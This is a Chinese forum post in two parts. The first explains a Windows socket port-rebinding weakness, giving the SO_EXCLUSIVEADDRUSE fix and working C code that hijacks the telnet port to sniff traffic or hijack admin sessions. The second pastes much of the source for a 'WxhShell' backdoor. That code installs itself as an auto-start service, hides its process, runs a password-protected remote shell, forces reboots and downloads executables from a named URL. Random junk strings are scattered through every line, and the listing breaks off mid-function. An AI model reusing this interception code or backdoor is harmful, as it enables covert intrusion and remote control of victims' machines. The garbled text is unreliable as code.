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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I}u\ov_Su  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9mk@\Gqqm  
93D}0kp  
  saddr.sin_family = AF_INET; 5JaLE5-  
DqY"N ]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l"JM%LV  
Hd;NvNS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K:-jn}i?/  
~D5FnN9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]:@{tX 7c  
m4h)Wq  
  这意味着什么?意味着可以进行如下的攻击: An#[ +?  
Y?1T XsvF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uSYI X  
Y*pXbztP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V?*fl^f  
b=BNbmX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8J&9}@y  
z[ ;n2o|s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nLAwo3  
[4C_iaE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2k=|p@V n~  
Has}oe[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }R}M>^(R4  
6oQ7u90z*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y`$qcEw  
n~ $S  
  #include aC=2v7*  
  #include 0sSBwG  
  #include NUb$PT  
  #include    bA 0H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?s>_^xfD  
  int main() QqF*SaO>  
  { Uu+ibVM$  
  WORD wVersionRequested; J ?aJa  
  DWORD ret; R`$jF\"`r  
  WSADATA wsaData; "qC3%9e  
  BOOL val; ~0024B[G  
  SOCKADDR_IN saddr;  Q'cWqr  
  SOCKADDR_IN scaddr; h`! 4`eI  
  int err; GGwwdB\x'  
  SOCKET s; Yur}<>`(  
  SOCKET sc; D@ sMCR  
  int caddsize; 2\.23  
  HANDLE mt; $ #/8l58  
  DWORD tid;   rZ.=Lq  
  wVersionRequested = MAKEWORD( 2, 2 ); g,*fpk  
  err = WSAStartup( wVersionRequested, &wsaData ); )CoFRqz<h  
  if ( err != 0 ) { um]N]cCD`  
  printf("error!WSAStartup failed!\n"); nTsV>lQY,  
  return -1; Y ?~n6<  
  } r9(c<E?,h  
  saddr.sin_family = AF_INET; ER-Xd9R  
   ":T"Y;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MY\mo,#  
"Ltp]nCR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &<#1G u_  
  saddr.sin_port = htons(23); ,0HID:&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;W+1 H !  
  { :#sBNy  
  printf("error!socket failed!\n"); kz1Z K  
  return -1; qooTRqc#,  
  } n&]J-^Tx  
  val = TRUE; Z>w@3$\z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B ( h`~pb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hC{2LLu;n  
  { E{-pkqx  
  printf("error!setsockopt failed!\n"); f]2gjQHM  
  return -1; -$%~EY}  
  } MwD+'5   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &{WEtaXaa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c uAp,!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K4NzI9@  
GRL42xp'*D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N0D5N(kH%  
  { +NB5Fd4  
  ret=GetLastError(); cbou1Ei   
  printf("error!bind failed!\n"); uVZm9Sp  
  return -1; "/^kFsvp  
  } s#0m  
  listen(s,2); T|oDJ]\J  
  while(1) /YwwG;1  
  { Z^mIGy}  
  caddsize = sizeof(scaddr); %^I 7=  
  //接受连接请求 R. ryy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P:'y}a-  
  if(sc!=INVALID_SOCKET) <;b  
  { 3!*` hQ;s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zhRF>Y`  
  if(mt==NULL) EG=U](8T  
  { },5LrX`L  
  printf("Thread Creat Failed!\n"); R 'mlKe x  
  break; W^:g_  
  } @ *T8>  
  } 3e;K5qSeo/  
  CloseHandle(mt); (|6!pQ7  
  } aeLIs SEx  
  closesocket(s); v"sU87+  
  WSACleanup(); MS|1Q@S9  
  return 0; s5d[sx  
  }   tUfze9m  
  DWORD WINAPI ClientThread(LPVOID lpParam) '+^XL6$L  
  { 8fWnKWbbjw  
  SOCKET ss = (SOCKET)lpParam; UU =,Brb  
  SOCKET sc; pek5P4W_  
  unsigned char buf[4096]; kc2E4i  
  SOCKADDR_IN saddr; 8p~[8}  
  long num; MhFj>t   
  DWORD val; qP%[ nY  
  DWORD ret; T5-'|+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H:1F=$0I9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %s%e5hU  
  saddr.sin_family = AF_INET; QmPHf*w[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5FNf)F   
  saddr.sin_port = htons(23); p_3VFKq>0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5bK:sht  
  { a5g1.6hF  
  printf("error!socket failed!\n"); sD XJXJZ  
  return -1; X.)1>zk  
  } "0"8Rp&V|  
  val = 100; = U~\iJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ce3  
  { uUG&At  
  ret = GetLastError(); V SH64  
  return -1; CBx5:}t  
  } | -AR)Smt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~Oj-W6-+&,  
  { +qF,XJ2  
  ret = GetLastError(); @(tiPV  
  return -1; ==7=1QfP  
  } ;}4e+`fF|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1\,wV,  
  { g5&,l  
  printf("error!socket connect failed!\n"); 0jefV*3qpB  
  closesocket(sc); '-X913eG!  
  closesocket(ss); vC5 (  
  return -1; e-{4qt  
  } BA0.B0+"  
  while(1) T^ah'WmNw  
  { ZZ;V5o6E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;V~~lcD&Y`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }JWk?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &]'< M  
  num = recv(ss,buf,4096,0); P\|i<Ds_M  
  if(num>0) w`0r`\#V/  
  send(sc,buf,num,0); G|]39/OO3{  
  else if(num==0) 6sRKbp|r7  
  break; h<2O+"^  
  num = recv(sc,buf,4096,0); <~qhy{hRn  
  if(num>0) 9_S>G$9D  
  send(ss,buf,num,0); |a Ht6F  
  else if(num==0) W r;?t!  
  break; p>]2o\["  
  } 2KmPZ&r  
  closesocket(ss); o[eIwGxZ  
  closesocket(sc); j]_"MMwk$<  
  return 0 ; %8GY`T:^  
  } s%qK<U4@;Q  
]+0I8eerd  
thSo,uGlW  
========================================================== VlFDMw.4.+  
e_pyjaY!s  
下边附上一个代码,,WXhSHELL # OQ(oyT  
#6<9FY#  
========================================================== =i)k@w_(x  
3~!PJI1  
#include "stdafx.h" Z)zmT%t  
Me*]Bh  
#include <stdio.h> KI Ua  
#include <string.h> wKAc ;!  
#include <windows.h> FPPGf!Eq  
#include <winsock2.h> NLxsxomj  
#include <winsvc.h> Q:B:  
#include <urlmon.h> @v,qfT*k7  
LA^H213N|  
#pragma comment (lib, "Ws2_32.lib") xcYYo'U  
#pragma comment (lib, "urlmon.lib") &Qdd\h#  
AiO29<  
#define MAX_USER   100 // 最大客户端连接数 0TI+6u  
#define BUF_SOCK   200 // sock buffer "i1~YE  
#define KEY_BUFF   255 // 输入 buffer 8^N"D7{mO  
l0$ +)FKd  
#define REBOOT     0   // 重启 3E361?ubM  
#define SHUTDOWN   1   // 关机 Z*|qbu)  
v2Bks 2  
#define DEF_PORT   5000 // 监听端口 ' RjFWHAp  
<4Jo1  
#define REG_LEN     16   // 注册表键长度 8BZDaiE"  
#define SVC_LEN     80   // NT服务名长度 8V(#S :G35  
Q04iuhDO:  
// 从dll定义API x+9aTsZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @GG Pw9a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,Mwj`fgh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $u9y H Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =e,2/Ep{i  
8Mq] V v  
// wxhshell配置信息 U:`g12  
struct WSCFG { HJ*W3Mg  
  int ws_port;         // 监听端口 a[GlqaQy+-  
  char ws_passstr[REG_LEN]; // 口令 n'JwT! A  
  int ws_autoins;       // 安装标记, 1=yes 0=no U>^ -Db]  
  char ws_regname[REG_LEN]; // 注册表键名 ukr a)>Y[|  
  char ws_svcname[REG_LEN]; // 服务名 r,x;q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *qE[Y0Cd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E:&ga}h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 of ^N4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ; . c]0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bd2"k;H<o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `1KZ14K  
;o#R(m@Lx  
}; T%xB|^lf  
zRJopcE<  
// default Wxhshell configuration h2Z Gh  
struct WSCFG wscfg={DEF_PORT, iCIu]6  
    "xuhuanlingzhe", z rt8ze=Su  
    1, @&]j[if (s  
    "Wxhshell", C/+8lA6NV  
    "Wxhshell", #IP<4"Hf  
            "WxhShell Service", W<3nF5!  
    "Wrsky Windows CmdShell Service", 3L4lk8Dd  
    "Please Input Your Password: ", fV_(P_C  
  1, , c/\'k\K)  
  "http://www.wrsky.com/wxhshell.exe", _Ucj)Ud k  
  "Wxhshell.exe" ;ePmN|rq;  
    }; TUiXE~8=  
:(Feg2c  
// 消息定义模块 t  HPC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g4I&3 M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c;ELAns>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >b0e"eGt  
char *msg_ws_ext="\n\rExit."; /9WR>NUAO  
char *msg_ws_end="\n\rQuit."; *IGgbg[0  
char *msg_ws_boot="\n\rReboot..."; n5%rsNxg  
char *msg_ws_poff="\n\rShutdown..."; R/iw#.Yy  
char *msg_ws_down="\n\rSave to "; `W8GfbL  
8+uwzBNZ:  
char *msg_ws_err="\n\rErr!"; \,E;b{PQo6  
char *msg_ws_ok="\n\rOK!"; "@E1^  
W]n%$a  
char ExeFile[MAX_PATH]; ewk62 {  
int nUser = 0; 3 $Uv  
HANDLE handles[MAX_USER]; [Qv%  
int OsIsNt; c`y[V6q9  
fdN-Zq@'  
SERVICE_STATUS       serviceStatus; N@^?J@#V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z| +/Wl-h  
]RQQg,|D  
// 函数声明 A[ZJS   
int Install(void); #T n~hnW  
int Uninstall(void); 1z$;>+g<  
int DownloadFile(char *sURL, SOCKET wsh); >0SF79-RE  
int Boot(int flag); w'.ny<Pe  
void HideProc(void); Tfgx>2  
int GetOsVer(void); |]]Xee]  
int Wxhshell(SOCKET wsl); Zi2NgVF  
void TalkWithClient(void *cs); C 9,p-  
int CmdShell(SOCKET sock); `96:Z-!}  
int StartFromService(void); t4UKG&[a  
int StartWxhshell(LPSTR lpCmdLine); iR(A ^  
'\ dFhYs{*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NJ 7N*   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^gh/$my;  
KC? hsID{  
// 数据结构和表定义 [cru+c+O:  
SERVICE_TABLE_ENTRY DispatchTable[] = =[?2'riI  
{ 5 8p_b  
{wscfg.ws_svcname, NTServiceMain}, _pKW($\  
{NULL, NULL} -";'l @D=  
}; yI bz\3  
M0x5s@  
// 自我安装 F)Yn1&a#H  
int Install(void) W==HV0n  
{ bUp%87<*X  
  char svExeFile[MAX_PATH]; FcsEv {#U  
  HKEY key; Ab-S*| B  
  strcpy(svExeFile,ExeFile); * "ER8\  
?'$=G4y&?  
// 如果是win9x系统,修改注册表设为自启动 P~i^V;g  
if(!OsIsNt) { >RBq&'f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dt) BMF8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -(qoz8H5  
  RegCloseKey(key); b2H!{a"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jfS?#;T)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y+V*$73`  
  RegCloseKey(key); <2ffcBv  
  return 0; lyIstfRh15  
    } 1p23&\\~  
  } Nj.(iBmr  
} x-U:T.+{  
else { * C~  
23y7l=.b/  
// 如果是NT以上系统,安装为系统服务 f3V&i)w(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sxO_K^eD  
if (schSCManager!=0) #:vosVqG  
{ WMZa6cH  
  SC_HANDLE schService = CreateService =q^o6{d0"  
  ( W2yNEiH  
  schSCManager, %7O`]ik:  
  wscfg.ws_svcname, LlRvm/  
  wscfg.ws_svcdisp, jY:(Tv3~  
  SERVICE_ALL_ACCESS, ?qw&H /R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {j,bV6X  
  SERVICE_AUTO_START, 2ADUJ  
  SERVICE_ERROR_NORMAL, %zd1\We  
  svExeFile, W]_+3qvZ  
  NULL, LZM[Wg#  
  NULL, Z,,Da|edH  
  NULL, BYVp~!u  
  NULL, }%y_Lc L  
  NULL xh @H@Q\  
  ); t_3)}  
  if (schService!=0) zScV 9,H1  
  { @+ Berb  
  CloseServiceHandle(schService); Otn,(j;u  
  CloseServiceHandle(schSCManager); mh.0% 9`9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T6Ue\Sp'  
  strcat(svExeFile,wscfg.ws_svcname); _xAdvr' W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mv SNKS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KHcf P7  
  RegCloseKey(key); {.H}+@0  
  return 0; |vTirZP  
    } .-`7Av+7  
  } K,|Gtaa~  
  CloseServiceHandle(schSCManager); s3_i5,y  
} 2[9hl@=%  
} Trbgg  
=d7lrx+z  
return 1; 11X-X  
} y$*Tbzp  
/.$n>:XR  
// 自我卸载 @6 gA4h  
int Uninstall(void) !F;W#Gc  
{ 0$}+tq+  
  HKEY key; nrwb6wj  
X  LA  
if(!OsIsNt) { *u 3K8"XZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6peO9]Zy  
  RegDeleteValue(key,wscfg.ws_regname); Nh]eZ3O  
  RegCloseKey(key); U&wVe$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?*4&Z.~J  
  RegDeleteValue(key,wscfg.ws_regname); YqR MVWcnk  
  RegCloseKey(key); }3lM+]pf  
  return 0; m {_\@'q  
  } o*f7/ZP1o  
} (IIOKx_  
} /r[0Dw  
else { 'e7<&wm ia  
0RYh4'=F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SG8|xoL  
if (schSCManager!=0) twNZ^=SGr  
{ D>?%p"e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lp!@uoN^T  
  if (schService!=0) D D"]as"#  
  { 1reJ7b0  
  if(DeleteService(schService)!=0) { G:c)e ,pD  
  CloseServiceHandle(schService); +S^Uw'L$=T  
  CloseServiceHandle(schSCManager); a`q">T%q  
  return 0; cEve70MV  
  } V2i*PK X  
  CloseServiceHandle(schService); lsY5QE:Qrp  
  } s#)fnNQ ,  
  CloseServiceHandle(schSCManager); 9"=:\PE  
} 46Nl];g1`  
} *1ku2e]z  
`Kpn@Xg  
return 1; Sw%=/g  
} SL pd~ZC?  
*;Hvx32I  
// 从指定url下载文件 7$Bq.Lc#z  
int DownloadFile(char *sURL, SOCKET wsh) <3O>  
{ mJ#u]tiL  
  HRESULT hr; 4 FGcCE3  
char seps[]= "/"; %$`pD I)  
char *token; r<UZ\d -  
char *file; Xv]O1fcI  
char myURL[MAX_PATH]; fk#SD "iJ  
char myFILE[MAX_PATH]; 2o6KVQ  
TN.mNl%  
strcpy(myURL,sURL); 1 q}iUnR  
  token=strtok(myURL,seps); tP"C >#LO  
  while(token!=NULL) zK k;&y|{  
  { k~`pV/6  
    file=token; `L]cJ0tAs  
  token=strtok(NULL,seps); rzLpVpTaz  
  } Y71io^td~j  
*S:^3{.m=  
GetCurrentDirectory(MAX_PATH,myFILE); ;pBSGr 9  
strcat(myFILE, "\\"); ,kpk XK  
strcat(myFILE, file); ,l&Dt,  
  send(wsh,myFILE,strlen(myFILE),0); hG uRV|`  
send(wsh,"...",3,0); dE.R$SM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); flVQG@  
  if(hr==S_OK) p#qQGJe  
return 0; #=OKY@z/  
else :nC Gqg  
return 1; xl5mI~n_~  
|@sUN:G4k  
} CS:j->  
k9 .@S  
// 系统电源模块 vCFMO3  
int Boot(int flag) ^UEI`_HO0  
{ 7xO =:*  
  HANDLE hToken; P"XF|*^U  
  TOKEN_PRIVILEGES tkp; QuT8(s1Q!  
kHo0I8  
  if(OsIsNt) { )_,*2|b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PUuxKW}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =Qsh3b&<P  
    tkp.PrivilegeCount = 1; vfK^^S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4~P{H/]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A'c0zWV2  
if(flag==REBOOT) { _o'ii VDuD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -,uTAk0+@  
  return 0; qTj7mUk  
} 1 }Tbp_  
else { ]- ")r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !)?n n3  
  return 0; !0zbWB9  
} E2Q;1Re@  
  } mHM38T9C%  
  else { 3PIZay  
if(flag==REBOOT) { r.lH@}i%n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p3&/F=T;)  
  return 0; D\}^<HW  
} K9njD#/  
else { *Cz>r}W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dPc*!xrq  
  return 0; %nSm 32/t3  
} ;ug& v C  
} IX$dDwY|O>  
p^3 ]Q  
return 1; ='`z  
} Y4_/G4C  
}TzMWdT  
// win9x进程隐藏模块 .__XOd} K  
void HideProc(void) @i'RIL}  
{ Q })x4  
Ynl^Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A5S9F8Q/]  
  if ( hKernel != NULL ) 1p[C5j3  
  { 64%P}On  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aHNR0L3$}{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]>tYU   
    FreeLibrary(hKernel); ,|D_? D)U  
  } (#k>cA(}  
)e d5~ok  
return; H!?Av$h`  
} jVC`38|  
5=WzKM  
// 获取操作系统版本 !_ZknZTT  
int GetOsVer(void) 4zkn~oy  
{ %PRG;kR  
  OSVERSIONINFO winfo; (OwAhjHE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ea kj>7\s  
  GetVersionEx(&winfo); )r3}9J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :hJHjh  
  return 1; = NHuj.  
  else /{>$E>N;  
  return 0; cKJf0S:cx-  
} cXU8}>qY7  
w#vSZbh  
// 客户端句柄模块 Uy2NZ%rnt  
int Wxhshell(SOCKET wsl) "(zvI>A  
{ #tg,%*.s  
  SOCKET wsh; >Akrbmh5  
  struct sockaddr_in client; 9>yLSM,!rS  
  DWORD myID; M<s16  
4[m})X2(  
  while(nUser<MAX_USER) ` Fnl<C<  
{ *oopdGue  
  int nSize=sizeof(client); ZUePHI-dP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q97F5ru6  
  if(wsh==INVALID_SOCKET) return 1; " !F)K  
\UA\0p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }(k#,&Fv`  
if(handles[nUser]==0) TUHm.!+a  
  closesocket(wsh); h sG~xRA\  
else +Z> Y//  
  nUser++; =r"-Pm{  
  } &|yQwNA*a"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *j5>2-C &  
%:2EoXN"  
  return 0; q.0Evr:  
} !~Vo'ykwx'  
4<}!+X7m  
// 关闭 socket > %h7)}U  
void CloseIt(SOCKET wsh) % `Q[?(z  
{ }<R,)ZV^G  
closesocket(wsh); iO1ir+B\  
nUser--; ;;e\"%}@=q  
ExitThread(0); \d"JYym  
} h1}U#XV  
G&,1 NjSi  
// 客户端请求句柄 I@Cq<:+(3  
void TalkWithClient(void *cs) :btb|^C  
{  lS@0 $  
MDV<[${   
  SOCKET wsh=(SOCKET)cs; qE B3Y54+  
  char pwd[SVC_LEN]; sZe$?k|  
  char cmd[KEY_BUFF]; T8<pb^#  
char chr[1]; .5L|(B=H  
int i,j; s?Lx\?T  
>QyJRMY  
  while (nUser < MAX_USER) { tfB}U.  
.#^ta9^t7  
if(wscfg.ws_passstr) { ?tzJ7PJ~B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); be?>C 5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ],`xd_=]=  
  //ZeroMemory(pwd,KEY_BUFF); 7egE."  
      i=0; qt_ocOr  
  while(i<SVC_LEN) { { 0\Ez}  
] V|hDU=t  
  // 设置超时 xgDd5`W  
  fd_set FdRead; 7 ~b=G  
  struct timeval TimeOut; <PLQY  
  FD_ZERO(&FdRead); #IJm*_J<  
  FD_SET(wsh,&FdRead); 44Dytpvg  
  TimeOut.tv_sec=8; AWaptw_p*  
  TimeOut.tv_usec=0; &T.d"i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f( M$m,d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J?6.yL;  
/x%h@Cn!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %MG{KG=&o  
  pwd=chr[0]; E_q/*}]pE  
  if(chr[0]==0xd || chr[0]==0xa) { L hp  
  pwd=0; x,wXR=H  
  break; ~[8n+p+&X  
  } rR Kbs@1M  
  i++; CzMCd ~*7R  
    } 0gRj3al(  
8Z&M}Llk  
  // 如果是非法用户,关闭 socket ,LE15},  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G)|Xj70  
} *y+N-uq  
1G}f83yR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4^r4O#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iGq%|o>  
FOPfo b[  
while(1) { F u>  
* 'eE[/K  
  ZeroMemory(cmd,KEY_BUFF); &}'FC7}  
$>JfLSyC  
      // 自动支持客户端 telnet标准   5)5$h]Nz>  
  j=0; uzoI*aqk-s  
  while(j<KEY_BUFF) { J.E Bt3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G]]"J c  
  cmd[j]=chr[0]; n!aA<  
  if(chr[0]==0xa || chr[0]==0xd) { P"(VRc6x  
  cmd[j]=0; 45.<eWH$*(  
  break; }Q2v~eD  
  } 7xF)\um  
  j++; ]?< wUd  
    } U g:  
?F6L,  
  // 下载文件 r` B(ucE  
  if(strstr(cmd,"http://")) { D`|8Og  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $e~MKLd  
  if(DownloadFile(cmd,wsh)) N#``(a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?rm3Iac0S  
  else M)F_$ ICE-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c,2OICj  
  } tJG+k)EE  
  else { g6 H}a  
mjQZ"h0  
    switch(cmd[0]) { 3S5`I9I  
  ~dO+kD  
  // 帮助 gt(^9t;  
  case '?': { Pz^C3h$5_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b(IZ:ekZ5  
    break; (himx8Uml2  
  } F9} zt 9  
  // 安装 lw]uH<v  
  case 'i': { eo@kn yA<&  
    if(Install()) hv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +\doF  
    else |(%=zb=?X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tk)J E^'  
    break; xTU;rJV  
    } yk0tA  
  // 卸载 pG6?"*Fz;  
  case 'r': { |oWl9j]Z  
    if(Uninstall()) e# U@n j6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;A G&QdTMh  
    else +v2)'?BS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^w!1QH0:/  
    break; HA J[Y3d<  
    } ?8w5tfN6t  
  // 显示 wxhshell 所在路径 A`--*$8\  
  case 'p': { +CVB[r#hu  
    char svExeFile[MAX_PATH]; S:K$fFcJ  
    strcpy(svExeFile,"\n\r"); BTzBT%mP  
      strcat(svExeFile,ExeFile); 1{ H=The  
        send(wsh,svExeFile,strlen(svExeFile),0); b'ZzDYN  
    break; O$nW  
    } /F$E)qN7n  
  // 重启 <~*[OwN  
  case 'b': { hj=qWGRgI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f\rE{%  
    if(Boot(REBOOT)) ;reBJk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J-|&[-Z  
    else { yq?\.~ax  
    closesocket(wsh); Q>q-6/|UX  
    ExitThread(0); R XCjYzt  
    } ?I8r2M]  
    break; uHsLlfTn  
    } MK-+[K  
  // 关机 ~?4 BP%g-y  
  case 'd': { AdpJ4}|0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gg/ts]$  
    if(Boot(SHUTDOWN)) V'tqsKQ!  
